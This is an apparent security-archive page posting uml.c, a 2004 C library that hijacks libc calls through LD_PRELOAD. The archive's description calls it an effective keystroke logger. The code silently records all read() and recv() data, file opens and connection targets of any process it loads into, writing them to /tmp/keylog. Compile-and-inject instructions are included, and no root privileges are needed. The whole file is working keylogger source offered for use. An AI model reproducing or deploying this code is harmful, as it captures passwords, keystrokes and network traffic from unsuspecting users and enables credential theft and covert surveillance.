what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

uml.c

uml.c
Posted Oct 24, 2004
Authored by embyte | Site spine-group.org

UmL - Userspace Logger. This is functioning code based on the the example given in the article in Phrack 51 entitled "Shared Library Redirection". The following functions are logged: read()/recv() output and intercepts open(), open64(), close(), socket(), connect(), exit(). This is an effective keystroke logger, among other things, despite that the author says it is only at the Proof-of-Concept phase. License: GPL2. Version 0.0.2 testing.

tags | system logging
systems | unix
SHA-256 | d2553958c615551070ee685fb398040eefcef6ae792f7601a2657a75f7a43a62

uml.c

Change Mirror Download
/*
uml.c - v. 0.0.2 testing
Copyright (C) october.2004 embyte

UmL is an userspace logger which doesn't require r00t privileges.
It works hijacking libc functs like described by halflife in
"Shared Library Redirection" (Phrack 51).

UmL logs read()/recv() output and intercepts open(), open64(), close(),
socket(), connect(), exit(). There are many other important functions
like recvfrom()/recvmsg(), fopen(), write(), etc... but this code it's
only a proof on concept ;-)

Written by embyte <embyte@spine-group.org>
Tested on Linux 2.6.7, glibc 2.3.2 and gcc 3.3.4

Compile and run with
$ gcc -g -Wall -fPIC -DDEBUG -c uml.c (you can disable DEBUG)
$ ld -Bshareable -o uml.so uml.o -ldl
$ setenv LD_PRELOAD `pwd`/uml.so (export for bash)

This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.

This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.

You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
*/

#define _GNU_SOURCE
#define __USE_GNU
#include <stdlib.h> // free() malloc()
#include <dlfcn.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdarg.h>
#include <string.h> // memset()
#include <ctype.h> // isprint()
#include <time.h> // localtime functs

#include <sys/types.h>
#include <sys/socket.h> // socket()
#include <netinet/in.h>
#include <arpa/inet.h>

/* !!! modify here !!! */
#define LIBC_PATH "/lib/libc.so.6" // libc path
#define LOGFILE "/tmp/keylog" // logfile path
/* !!! */

#define CMD_SIZE 128
#define BUF_SIZE 256 // buffer for log
#define TIME_SIZE 9 // H:M:S

/**************
* global vars *
**************/

// o_ pointers
static ssize_t (*o_read)(int fd, void *buf, size_t count); // point to real read()
static int (*o_socket)(int domain, int type, int protocol); // point to real socket()
static int (*o_connect)(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
static int (*o_close) (int fd);
static int (*o_open)(const char *pathname, int flags, ...);
static int (*o_open64)(const char *pathname, int flags, ...);
static void (*o_exit)(int status);
static ssize_t (*o_recv)(int s, void *buf, size_t len, int flags);

// vars
int logfile;
char logbuf[BUF_SIZE];
char now[TIME_SIZE];
struct
{
pid_t pid;
char cmd[CMD_SIZE];
}
pinfo;

// funct protos
void my_log(const char *fmt, ...);
void whois(void);
void get_time(void);
void print_log (const char *p, size_t len);
int get_syms(void);
void _init(void);

// hooked functs
ssize_t read(int fd, void *buf, size_t count);
int connect(int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen);
int socket(int domain, int type, int protocol);
int close(int fd);
int open(const char *pathname, int flags, ...);
int open64(const char *pathname, int flags, ...);
void exit(int status);
ssize_t recv(int s, void *buf, size_t len, int flags);

/*****************
* implementation *
*****************/

// log to LOGFILE with printf() format
void my_log(const char *fmt, ...)
{
char *s;
u_int s_SIZE;
va_list ap;
va_start (ap, fmt);

if ((s_SIZE=vasprintf(&s, fmt, ap))<0)
{
#ifdef DEBUG
write (logfile, "error allocation space for logfile\n", 36);
#endif
return;
}
write (logfile, s, s_SIZE);
if (s)
free (s);
}

// ask for program command line
void whois (void)
{
char *path;
FILE *f;

#define PATH_SIZE 128

// malloc and clean strings
path=(char *)malloc(PATH_SIZE);
memset (path, 0, PATH_SIZE);
memset (pinfo.cmd, 0 , PATH_SIZE);

// open and read file
sprintf (path, "/proc/%d/cmdline", (int) pinfo.pid);
if ((f = fopen (path, "r"))==NULL)
{
#ifdef DEBUG
my_log ( "error finding command line from /proc\n");
#endif
strncpy (pinfo.cmd, "unknow", 6);
return;
}
if (path)
free (path);

fgets (pinfo.cmd, CMD_SIZE, f); // cmdline long
fclose (f);
}

// get time
void get_time(void)
{
time_t t;
struct tm *mytm;

memset (now, 0, TIME_SIZE); // clean time

time(&t);
mytm = localtime(&t);
strftime(now, TIME_SIZE, "%H:%M:%S", mytm);
}

// print correct chars to log (used for read() and recv()
void print_log (const char *p, size_t len)
{
u_short i;
char c;

for (i=0; i<len; i++)
{
if (isprint((int)p[i]) || p[i]=='\n')
write (logfile, &(p[i]), 1);
else if (p[i]=='\r')
{
c='\n';
write (logfile, &c, 1);
}
}

if (p[i-1]!='\r' && p[i-1]!='\n') // check for enter..
{
c='\n';
write (logfile, &c, 1);
}
}

// resolve shared symbols
int get_sym(void)
{
void *handle=dlopen(LIBC_PATH, RTLD_NOW|RTLD_GLOBAL);
if (handle==NULL)
return (-1);

if ((o_read=dlsym(handle, "read"))==NULL)
return (-1);
if ((o_socket=dlsym(handle, "socket"))==NULL)
return (-1);
if ((o_connect=dlsym(handle, "connect"))==NULL)
return (-1);
if ((o_close=dlsym(handle, "close"))==NULL)
return (-1);
if ((o_open=dlsym(handle, "open"))==NULL)
return (-1);
if ((o_open64=dlsym(handle, "open64"))==NULL)
return (-1);
if ((o_exit=dlsym(handle, "exit"))==NULL)
return (-1);
if ((o_recv=dlsym(handle, "recv"))==NULL)
return (-1);

return 0;
}

// init function
void _init(void)
{
// get sym
if (get_sym()<0)
exit (-1);

// open logfile only now, else with have problem with o_* NULL pointer
logfile = o_open (LOGFILE, O_APPEND|O_WRONLY|O_CREAT, S_IRUSR|S_IWUSR);

pinfo.pid = getpid(); // get process PID
whois(); // get cmdline

#ifdef DEBUG
get_time();
my_log ("\n*** [%s] library loaded for `%s` (PID %d) ***\n", now, pinfo.cmd, pinfo.pid);
#endif
}

// hijacked functions
ssize_t read (int fd, void *buf, size_t count)
{
ssize_t retval;

retval=o_read(fd, buf, count);

my_log ("*** %d (%s): read() from fd %d ***\n", pinfo.pid, pinfo.cmd, fd);

if (retval>0)
{
char *p=buf;
print_log (p, retval);
}

return retval;
}

ssize_t recv(int s, void *buf, size_t len, int flags)
{
ssize_t retval=o_recv(s, buf, len, flags);

my_log ("*** %d (%s): recv() from fd %d ***\n", pinfo.pid, pinfo.cmd, s);

if (retval>0)
{
char *p=buf;
print_log (p, retval);
}

return retval;
}

int socket (int domain, int type, int protocol)
{
int retval;

retval=o_socket (domain, type, protocol);
my_log ("*** %d: socket() return fd %d ***\n", pinfo.pid, retval);

return retval;
}

int close (int fd)
{
my_log ("*** %d: close() fd %d ***\n", pinfo.pid, fd);
return (o_close(fd));
}

int connect (int sockfd, const struct sockaddr *serv_addr, socklen_t addrlen)
{
struct sockaddr_in *address;

address = (struct sockaddr_in *) serv_addr;
my_log ("*** %d: connect() over %d for %s:%d ***\n", pinfo.pid,
sockfd, inet_ntoa(address->sin_addr), (int) address->sin_port);

return (o_connect (sockfd, serv_addr, addrlen));
}

void exit (int status)
{
#ifdef DEBUG
my_log ("*** %d: exit(%d) ***\n", pinfo.pid, status);
#endif
// close logfile and exit
o_close (logfile);
o_exit (status);
}

int open (const char *pathname, int flags, ...)
{
int mode;
int retval;

// open a new file
// see open(2)
if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);

retval=o_open(pathname, flags, mode);
}
else
{
retval=o_open(pathname, flags);
}

my_log ("*** %d: open(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}

int open64(const char *pathname, int flags, ...)
{
int mode;
int retval;

if (flags & O_CREAT)
{
va_list arg;
va_start(arg, flags);
mode = va_arg(arg, int);
va_end(arg);

retval=o_open64(pathname, flags, mode);
}
else
{
retval=o_open64(pathname, flags);
}

my_log ("*** %d: open64(%s) return fd %d ***\n", pinfo.pid, pathname, retval);
return retval;
}

/* EOF */
Login or Register to add favorites

File Archive:

December 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Dec 1st
    0 Files
  • 2
    Dec 2nd
    41 Files
  • 3
    Dec 3rd
    25 Files
  • 4
    Dec 4th
    0 Files
  • 5
    Dec 5th
    0 Files
  • 6
    Dec 6th
    0 Files
  • 7
    Dec 7th
    0 Files
  • 8
    Dec 8th
    0 Files
  • 9
    Dec 9th
    0 Files
  • 10
    Dec 10th
    0 Files
  • 11
    Dec 11th
    0 Files
  • 12
    Dec 12th
    0 Files
  • 13
    Dec 13th
    0 Files
  • 14
    Dec 14th
    0 Files
  • 15
    Dec 15th
    0 Files
  • 16
    Dec 16th
    0 Files
  • 17
    Dec 17th
    0 Files
  • 18
    Dec 18th
    0 Files
  • 19
    Dec 19th
    0 Files
  • 20
    Dec 20th
    0 Files
  • 21
    Dec 21st
    0 Files
  • 22
    Dec 22nd
    0 Files
  • 23
    Dec 23rd
    0 Files
  • 24
    Dec 24th
    0 Files
  • 25
    Dec 25th
    0 Files
  • 26
    Dec 26th
    0 Files
  • 27
    Dec 27th
    0 Files
  • 28
    Dec 28th
    0 Files
  • 29
    Dec 29th
    0 Files
  • 30
    Dec 30th
    0 Files
  • 31
    Dec 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close